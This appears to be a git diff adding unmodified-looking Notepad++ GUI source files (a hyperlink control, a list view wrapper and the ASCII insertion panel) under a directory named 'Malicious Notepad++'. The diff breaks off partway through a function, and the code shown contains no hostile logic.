part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "URLCtrl.h" + +static BYTE XORMask[128] = +{ + 0xff, 0xff, 0xff, 0xff, + 0xf9, 0xff, 0xff, 0xff, + 0xf0, 0xff, 0xff, 0xff, + 0xf0, 0xff, 0xff, 0xff, + 0xf0, 0xff, 0xff, 0xff, + 0xf0, 0xff, 0xff, 0xff, + 0xf0, 0x24, 0xff, 0xff, + 0xf0, 0x00, 0x7f, 0xff, + 0xc0, 0x00, 0x7f, 0xff, + 0x80, 0x00, 0x7f, 0xff, + 0x80, 0x00, 0x7f, 0xff, + 0x80, 0x00, 0x7f, 0xff, + 0x80, 0x00, 0x7f, 0xff, + 0x80, 0x00, 0x7f, 0xff, + 0xc0, 0x00, 0x7f, 0xff, + 0xe0, 0x00, 0x7f, 0xff, + 0xf0, 0x00, 0xff, 0xff, + 0xf0, 0x00, 0xff, 0xff, + 0xf0, 0x00, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0xff, +}; + +/* AND mask for hand cursor */ +/* Generated by HexEdit */ +static BYTE ANDMask[128] = +{ + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, + 0x06, 0xdb, 0x00, 0x00, + 0x06, 0xdb, 0x00, 0x00, + 0x36, 0xdb, 0x00, 0x00, + 0x36, 0xdb, 0x00, 0x00, + 0x37, 0xff, 0x00, 0x00, + 0x3f, 0xff, 0x00, 0x00, + 0x3f, 0xff, 0x00, 0x00, + 0x1f, 0xff, 0x00, 0x00, + 0x0f, 0xff, 0x00, 0x00, + 0x07, 0xfe, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, +}; + + + +void URLCtrl::create(HWND itemHandle, TCHAR * link, COLORREF linkColor) +{ + // turn on notify style + ::SetWindowLongPtr(itemHandle, GWL_STYLE, ::GetWindowLongPtr(itemHandle, GWL_STYLE) | SS_NOTIFY); + + // set the URL text (not the display text) + if (link) + _URL = link; + + // set the hyperlink colour + _linkColor = linkColor; + + // set the visited colour + _visitedColor = RGB(128,0,128); + + // subclass the static control + _oldproc = reinterpret_cast(::SetWindowLongPtr(itemHandle, GWLP_WNDPROC, reinterpret_cast(URLCtrlProc))); + + // associate the URL structure with the static control + ::SetWindowLongPtr(itemHandle, GWLP_USERDATA, reinterpret_cast(this)); + + // save hwnd + _hSelf = itemHandle; +} +void URLCtrl::create(HWND itemHandle, int cmd, HWND msgDest) +{ + // turn on notify style + ::SetWindowLongPtr(itemHandle, GWL_STYLE, ::GetWindowLongPtr(itemHandle, GWL_STYLE) | SS_NOTIFY); + + _cmdID = cmd; + _msgDest = msgDest; + + // set the hyperlink colour + _linkColor = RGB(0,0,255); + + // subclass the static control + _oldproc = reinterpret_cast(::SetWindowLongPtr(itemHandle, GWLP_WNDPROC, reinterpret_cast(URLCtrlProc))); + + // associate the URL structure with the static control + ::SetWindowLongPtr(itemHandle, GWLP_USERDATA, reinterpret_cast(this)); + + // save hwnd + _hSelf = itemHandle; +} + +void URLCtrl::destroy() +{ + if(_hfUnderlined) + ::DeleteObject(_hfUnderlined); + if(_hCursor) + ::DestroyCursor(_hCursor); +} + +void URLCtrl::action() +{ + if (_cmdID) + { + ::SendMessage(_msgDest?_msgDest:_hParent, WM_COMMAND, _cmdID, 0); + } + else + { + _linkColor = _visitedColor; + + ::InvalidateRect(_hSelf, 0, 0); + ::UpdateWindow(_hSelf); + + // Open a browser + if(_URL != TEXT("")) + { + ::ShellExecute(NULL, TEXT("open"), _URL.c_str(), NULL, NULL, SW_SHOWNORMAL); + } + else + { + TCHAR szWinText[MAX_PATH]; + ::GetWindowText(_hSelf, szWinText, MAX_PATH); + ::ShellExecute(NULL, TEXT("open"), szWinText, NULL, NULL, SW_SHOWNORMAL); + } + } +} + +LRESULT URLCtrl::runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch(Message) + { + // Free up the structure we allocated + case WM_NCDESTROY: + //HeapFree(GetProcessHeap(), 0, url); + break; + + // Paint the static control using our custom + // colours, and with an underline text style + case WM_PAINT: + { + DWORD dwStyle = static_cast(::GetWindowLongPtr(hwnd, GWL_STYLE)); + DWORD dwDTStyle = DT_SINGLELINE; + + //Test if centered horizontally or vertically + if(dwStyle & SS_CENTER) dwDTStyle |= DT_CENTER; + if(dwStyle & SS_RIGHT) dwDTStyle |= DT_RIGHT; + if(dwStyle & SS_CENTERIMAGE) dwDTStyle |= DT_VCENTER; + + RECT rect; + ::GetClientRect(hwnd, &rect); + + PAINTSTRUCT ps; + HDC hdc = ::BeginPaint(hwnd, &ps); + + ::SetTextColor(hdc, _linkColor); + + ::SetBkColor(hdc, getCtrlBgColor(GetParent(hwnd))); ///*::GetSysColor(COLOR_3DFACE)*/); + + // Create an underline font + if(_hfUnderlined == 0) + { + // Get the default GUI font + LOGFONT lf; + HFONT hf = (HFONT)::GetStockObject(DEFAULT_GUI_FONT); + + // Add UNDERLINE attribute + GetObject(hf, sizeof lf, &lf); + lf.lfUnderline = TRUE; + + // Create a new font + _hfUnderlined = ::CreateFontIndirect(&lf); + } + + HANDLE hOld = SelectObject(hdc, _hfUnderlined); + + // Draw the text! + TCHAR szWinText[MAX_PATH]; + ::GetWindowText(hwnd, szWinText, MAX_PATH); + ::DrawText(hdc, szWinText, -1, &rect, dwDTStyle); + + ::SelectObject(hdc, hOld); + + ::EndPaint(hwnd, &ps); + + return 0; + } + + case WM_SETTEXT: + { + LRESULT ret = ::CallWindowProc(_oldproc, hwnd, Message, wParam, lParam); + ::InvalidateRect(hwnd, 0, 0); + return ret; + } + // Provide a hand cursor when the mouse moves over us + //case WM_SETCURSOR: + case WM_MOUSEMOVE: + { + if (_hCursor == 0) + _hCursor = ::CreateCursor(::GetModuleHandle(0), 5, 2, 32, 32, XORMask, ANDMask); + + SetCursor(_hCursor); + return TRUE; + } + + case WM_LBUTTONDOWN: + _clicking = true; + break; + + case WM_LBUTTONUP: + if(_clicking) + { + _clicking = false; + + action(); + } + + break; + + //Support using space to activate this object + case WM_KEYDOWN: + if(wParam == VK_SPACE) + _clicking = true; + break; + + case WM_KEYUP: + if(wParam == VK_SPACE && _clicking) + { + _clicking = false; + + action(); + } + break; + + // A standard static control returns HTTRANSPARENT here, which + // prevents us from receiving any mouse messages. So, return + // HTCLIENT instead. + case WM_NCHITTEST: + return HTCLIENT; + } + return ::CallWindowProc(_oldproc, hwnd, Message, wParam, lParam); +} diff --git a/Malicious Notepad++/src/WinControls/AboutDlg/URLCtrl.h b/Malicious Notepad++/src/WinControls/AboutDlg/URLCtrl.h new file mode 100644 index 0000000..196a8d1 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AboutDlg/URLCtrl.h @@ -0,0 +1,64 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef URLCTRL_INCLUDED +#define URLCTRL_INCLUDED + +#include "Window.h" +#include "Common.h" + +class URLCtrl : public Window { +public: + URLCtrl():_hfUnderlined(0),_hCursor(0), _msgDest(NULL), _cmdID(0), _oldproc(NULL), \ + _linkColor(), _visitedColor(), _clicking(false), _URL(TEXT("")){}; + + void create(HWND itemHandle, TCHAR * link, COLORREF linkColor = RGB(0,0,255)); + void create(HWND itemHandle, int cmd, HWND msgDest = NULL); + void destroy(); +private: + void action(); +protected : + generic_string _URL; + HFONT _hfUnderlined; + HCURSOR _hCursor; + + HWND _msgDest; + unsigned long _cmdID; + + WNDPROC _oldproc; + COLORREF _linkColor; + COLORREF _visitedColor; + bool _clicking; + + static LRESULT CALLBACK URLCtrlProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam){ + return ((URLCtrl *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProc(hwnd, Message, wParam, lParam); + }; + LRESULT runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); +}; + +#endif //URLCTRL_INCLUDED diff --git a/Malicious Notepad++/src/WinControls/AnsiCharPanel/ListView.cpp b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ListView.cpp new file mode 100644 index 0000000..4230cc2 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ListView.cpp @@ -0,0 +1,151 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include +#include "ListView.h" +#include "Parameters.h" +#include "localization.h" + +using namespace std; + +void ListView::init(HINSTANCE hInst, HWND parent) +{ + Window::init(hInst, parent); + INITCOMMONCONTROLSEX icex; + + // Ensure that the common control DLL is loaded. + icex.dwSize = sizeof(INITCOMMONCONTROLSEX); + icex.dwICC = ICC_LISTVIEW_CLASSES; + InitCommonControlsEx(&icex); + + // Create the list-view window in report view with label editing enabled. + int listViewStyles = LVS_REPORT | LVS_NOSORTHEADER\ + | LVS_SINGLESEL | LVS_AUTOARRANGE\ + | LVS_SHAREIMAGELISTS | LVS_SHOWSELALWAYS; + + _hSelf = ::CreateWindow(WC_LISTVIEW, + TEXT(""), + WS_CHILD | WS_BORDER | listViewStyles, + 0, + 0, + 0, + 0, + _hParent, + nullptr, + hInst, + nullptr); + if (!_hSelf) + { + throw std::runtime_error("ListView::init : CreateWindowEx() function return null"); + } + + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, reinterpret_cast(this)); + _defaultProc = reinterpret_cast(::SetWindowLongPtr(_hSelf, GWLP_WNDPROC, reinterpret_cast(staticProc))); + + DWORD exStyle = ListView_GetExtendedListViewStyle(_hSelf); + exStyle |= LVS_EX_FULLROWSELECT | LVS_EX_BORDERSELECT | _extraStyle; + ListView_SetExtendedListViewStyle(_hSelf, exStyle); + + if (_columnInfos.size()) + { + LVCOLUMN lvColumn; + lvColumn.mask = LVCF_TEXT | LVCF_WIDTH; + + short i = 0; + for (auto it = _columnInfos.begin(); it != _columnInfos.end(); ++it) + { + lvColumn.cx = static_cast(it->_width); + lvColumn.pszText = const_cast(it->_label.c_str()); + ListView_InsertColumn(_hSelf, ++i, &lvColumn); + } + } +} + +void ListView::destroy() +{ + ::DestroyWindow(_hSelf); + _hSelf = NULL; +} + +void ListView::addLine(const vector & values2Add, LPARAM lParam, int pos2insert) +{ + if (not values2Add.size()) + return; + + if (pos2insert == -1) + pos2insert = static_cast(nbItem()); + + auto it = values2Add.begin(); + + LVITEM item; + item.mask = LVIF_TEXT | LVIF_PARAM; + + item.pszText = const_cast(it->c_str()); + item.iItem = pos2insert; + item.iSubItem = 0; + item.lParam = lParam; + ListView_InsertItem(_hSelf, &item); + ++it; + + int j = 0; + for (; it != values2Add.end(); ++it) + { + ListView_SetItemText(_hSelf, pos2insert, ++j, const_cast(it->c_str())); + } +} + + +LPARAM ListView::getLParamFromIndex(int itemIndex) const +{ + LVITEM item; + item.mask = LVIF_PARAM; + item.iItem = itemIndex; + ListView_GetItem(_hSelf, &item); + + return item.lParam; +} + +std::vector ListView::getCheckedIndexes() const +{ + vector checkedIndexes; + size_t nbItem = ListView_GetItemCount(_hSelf); + for (size_t i = 0; i < nbItem; ++i) + { + UINT st = ListView_GetItemState(_hSelf, i, LVIS_STATEIMAGEMASK); + if (st == INDEXTOSTATEIMAGEMASK(2)) // checked + checkedIndexes.push_back(i); + } + return checkedIndexes; +} + +LRESULT ListView::runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + return ::CallWindowProc(_defaultProc, hwnd, Message, wParam, lParam); +} + diff --git a/Malicious Notepad++/src/WinControls/AnsiCharPanel/ListView.h b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ListView.h new file mode 100644 index 0000000..023a0af --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ListView.h @@ -0,0 +1,94 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "Window.h" +#include "Common.h" + +#include + +struct columnInfo { + size_t _width; + generic_string _label; + + columnInfo(const generic_string & label, size_t width) : _width(width), _label(label) {}; +}; + +class ListView : public Window +{ +public: + ListView() : Window() {}; + virtual ~ListView() {}; + + // addColumn() should be called before init() + void addColumn(const columnInfo & column2Add) { + _columnInfos.push_back(column2Add); + }; + + // setStyleOption() should be called before init() + void setStyleOption(int32_t extraStyle) { + _extraStyle = extraStyle; + }; + + void addLine(const std::vector & values2Add, LPARAM lParam = 0, int pos2insert = -1); + + size_t nbItem() const { + return ListView_GetItemCount(_hSelf); + }; + + long getSelectedIndex() const { + return ListView_GetSelectionMark(_hSelf); + }; + + void setSelection(int itemIndex) const { + ListView_SetItemState(_hSelf, itemIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED); + ListView_EnsureVisible(_hSelf, itemIndex, false); + ListView_SetSelectionMark(_hSelf, itemIndex); + }; + + LPARAM getLParamFromIndex(int itemIndex) const; + + std::vector getCheckedIndexes() const; + + virtual void init(HINSTANCE hInst, HWND hwnd); + virtual void destroy(); + + +protected: + WNDPROC _defaultProc = nullptr; + int32_t _extraStyle = 0; + std::vector _columnInfos; + + LRESULT runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + + static LRESULT CALLBACK staticProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) { + return (((ListView *)(::GetWindowLongPtr(hwnd, GWLP_USERDATA)))->runProc(hwnd, Message, wParam, lParam)); + }; +}; + diff --git a/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.cpp b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.cpp new file mode 100644 index 0000000..8f7106d --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.cpp @@ -0,0 +1,150 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "ansiCharPanel.h" +#include "ScintillaEditView.h" +#include "localization.h" + +void AnsiCharPanel::switchEncoding() +{ + int codepage = (*_ppEditView)->getCurrentBuffer()->getEncoding(); + _listView.resetValues(codepage); +} + +INT_PTR CALLBACK AnsiCharPanel::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + NppParameters *nppParam = NppParameters::getInstance(); + NativeLangSpeaker *pNativeSpeaker = nppParam->getNativeLangSpeaker(); + generic_string valStr = pNativeSpeaker->getAttrNameStr(TEXT("Value"), "AsciiInsertion", "ColumnVal"); + generic_string hexStr = pNativeSpeaker->getAttrNameStr(TEXT("Hex"), "AsciiInsertion", "ColumnHex"); + generic_string charStr = pNativeSpeaker->getAttrNameStr(TEXT("Character"), "AsciiInsertion", "ColumnChar"); + + _listView.addColumn(columnInfo(valStr, nppParam->_dpiManager.scaleX(45))); + _listView.addColumn(columnInfo(hexStr, nppParam->_dpiManager.scaleX(45))); + _listView.addColumn(columnInfo(charStr, nppParam->_dpiManager.scaleX(70))); + + _listView.init(_hInst, _hSelf); + int codepage = (*_ppEditView)->getCurrentBuffer()->getEncoding(); + _listView.setValues(codepage==-1?0:codepage); + _listView.display(); + + return TRUE; + } + + case WM_NOTIFY: + { + switch (((LPNMHDR)lParam)->code) + { + case NM_DBLCLK: + { + LPNMITEMACTIVATE lpnmitem = (LPNMITEMACTIVATE) lParam; + int i = lpnmitem->iItem; + + if (i == -1) + return TRUE; + + insertChar(static_cast(i)); + return TRUE; + } + + case LVN_KEYDOWN: + { + switch (((LPNMLVKEYDOWN)lParam)->wVKey) + { + case VK_RETURN: + { + int i = _listView.getSelectedIndex(); + + if (i == -1) + return TRUE; + + insertChar(static_cast(i)); + return TRUE; + } + default: + break; + } + } + break; + + default: + break; + } + } + return TRUE; + + case WM_SIZE: + { + int width = LOWORD(lParam); + int height = HIWORD(lParam); + ::MoveWindow(_listView.getHSelf(), 0, 0, width, height, TRUE); + break; + } + + default : + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); + } + return DockingDlgInterface::run_dlgProc(message, wParam, lParam); +} + +void AnsiCharPanel::insertChar(unsigned char char2insert) const +{ + char charStr[2]; + charStr[0] = char2insert; + charStr[1] = '\0'; + wchar_t wCharStr[10]; + char multiByteStr[10]; + int codepage = (*_ppEditView)->getCurrentBuffer()->getEncoding(); + if (codepage == -1) + { + bool isUnicode = ((*_ppEditView)->execute(SCI_GETCODEPAGE) == SC_CP_UTF8); + if (isUnicode) + { + MultiByteToWideChar(0, 0, charStr, -1, wCharStr, sizeof(wCharStr)); + WideCharToMultiByte(CP_UTF8, 0, wCharStr, -1, multiByteStr, sizeof(multiByteStr), NULL, NULL); + } + else // ANSI + { + multiByteStr[0] = charStr[0]; + multiByteStr[1] = charStr[1]; + } + } + else + { + MultiByteToWideChar(codepage, 0, charStr, -1, wCharStr, sizeof(wCharStr)); + WideCharToMultiByte(CP_UTF8, 0, wCharStr, -1, multiByteStr, sizeof(multiByteStr), NULL, NULL); + } + (*_ppEditView)->execute(SCI_REPLACESEL, 0, reinterpret_cast("")); + size_t len = (char2insert < 128) ? 1 : strlen(multiByteStr); + (*_ppEditView)->execute(SCI_ADDTEXT, len, reinterpret_cast(multiByteStr)); + (*_ppEditView)->getFocus(); +} \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.h b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.h new file mode 100644 index 0000000..91d3d26 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.h @@ -0,0 +1,76 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include +#include + +#include "DockingDlgInterface.h" +#include "ansiCharPanel_rc.h" +#include "ListView.h" +#include "asciiListView.h" + +#define AI_PROJECTPANELTITLE TEXT("ASCII Insertion Panel") + +class ScintillaEditView; + +class AnsiCharPanel : public DockingDlgInterface { +public: + AnsiCharPanel(): DockingDlgInterface(IDD_ANSIASCII_PANEL) {}; + + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) { + DockingDlgInterface::init(hInst, hPere); + _ppEditView = ppEditView; + }; + + void setParent(HWND parent2set){ + _hParent = parent2set; + }; + + void switchEncoding(); + void insertChar(unsigned char char2insert) const; + + virtual void setBackgroundColor(int bgColour) const { + ListView_SetBkColor(_listView.getHSelf(), bgColour); + ListView_SetTextBkColor(_listView.getHSelf(), bgColour); + _listView.redraw(true); + }; + virtual void setForegroundColor(int fgColour) const { + ListView_SetTextColor(_listView.getHSelf(), fgColour); + _listView.redraw(true); + }; + +protected: + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private: + ScintillaEditView **_ppEditView = nullptr; + AsciiListView _listView; +}; + diff --git a/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.rc b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.rc new file mode 100644 index 0000000..41f99cc --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel.rc @@ -0,0 +1,39 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "ansiCharPanel_rc.h" + +IDD_ANSIASCII_PANEL DIALOGEX 26, 41, 142, 324 +STYLE DS_SETFONT | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "ASCII Insertion Panel" +FONT 8, "MS Sans Serif", 0, 0, 0x0 +BEGIN + //LISTBOX IDC_LIST_ANSICHAR,50,44,78,120,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP +END diff --git a/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel_rc.h b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel_rc.h new file mode 100644 index 0000000..ed5e89b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AnsiCharPanel/ansiCharPanel_rc.h @@ -0,0 +1,36 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef ANSICHARPANEL_RC_H +#define ANSICHARPANEL_RC_H + +#define IDD_ANSIASCII_PANEL 2700 +#define IDC_LIST_ANSICHAR (IDD_ANSIASCII_PANEL + 1) + +#endif // ANSICHARPANEL_RC_H + diff --git a/Malicious Notepad++/src/WinControls/AnsiCharPanel/asciiListView.cpp b/Malicious Notepad++/src/WinControls/AnsiCharPanel/asciiListView.cpp new file mode 100644 index 0000000..e94cddd --- /dev/null +++ b/Malicious Notepad++/src/WinControls/AnsiCharPanel/asciiListView.cpp @@ -0,0 +1,149 @@ +// This file is part of Notepad++ project +// Copyright (C)2016 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "asciiListView.h" +#include "Parameters.h" + +void AsciiListView::resetValues(int codepage) +{ + if (codepage == -1) + codepage = 0; + + if (_codepage == codepage) + return; + + ListView_DeleteAllItems(_hSelf); + setValues(codepage); +} + +generic_string AsciiListView::getAscii(unsigned char value) +{ + switch (value) + { + case 0: + return 